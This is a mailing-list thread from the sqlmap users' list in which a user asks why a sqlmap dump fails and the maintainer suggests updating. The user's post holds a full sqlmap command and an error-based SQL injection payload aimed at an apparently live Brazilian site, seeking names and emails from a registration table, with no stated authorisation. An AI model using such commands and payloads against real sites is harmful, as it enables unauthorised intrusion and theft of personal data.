Hi.
Could you please update and retry it now?
Kind regards,
Miroslav Stampar
On Tue, Nov 12, 2013 at 2:13 PM, Vinicius Da Loop <
viniciusmaxdal...@gmail.com> wrote:
> Hello,
>
> List db ok, list tables and columns OK, but when I try dump contents, got
> 'Incorrect syntax' error in html response, so I suspect that something is
> wrong about the payload sent by sqlmap:
>
> ./sqlmap.py -u "http://www.[snip].br/noticias/[snip].asp?ID=4416";
> --random-agent --threads=1 --technique=E -D 057 -T Cadastro -C
> CAD_ID,CAD_Nome,CAD_Email --dump -v 6
>
> [PAYLOAD] 4416 AND 9709=CONVERT(INT,(SELECT
> CHAR(113)+CHAR(119)+CHAR(122)+CHAR(114)+CHAR(113)+(SELECT
> ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM
> 057.dbo.Cadastro)+CHAR(113)+CHAR(115)+CHAR(117)+CHAR(119)+CHAR(113)))
>
> [WARNING] HTTP error codes detected during run:
> 500 (Internal Server Error) - 2 times
>
> HTML RESPONSE:
>
> <p>Microsoft OLE DB Provider for SQL Server</font> <font face="Arial"
> size=2>error '80040e14'</font>
> <p>
> <font face="Arial" size=2>Line 1: Incorrect syntax near '057.'.</font>
>
> Any clue?
> Thanks!
>
>
> ------------------------------------------------------------------------------
> November Webinars for C, C++, Fortran Developers
> Accelerate application performance with scalable programming models.
> Explore
> techniques for threading, error checking, porting, and tuning. Get the most
> from the latest Intel processors and coprocessors. See abstracts and
> register
> http://pubads.g.doubleclick.net/gampad/clk?id=60136231&iu=/4140/ostg.clktrk
> _______________________________________________
> sqlmap-users mailing list
> sqlmap-users@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
--
Miroslav Stampar
http://about.me/stamparm
------------------------------------------------------------------------------
November Webinars for C, C++, Fortran Developers
Accelerate application performance with scalable programming models. Explore
techniques for threading, error checking, porting, and tuning. Get the most
from the latest Intel processors and coprocessors. See abstracts and register
http://pubads.g.doubleclick.net/gampad/clk?id=60136231&iu=/4140/ostg.clktrk
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
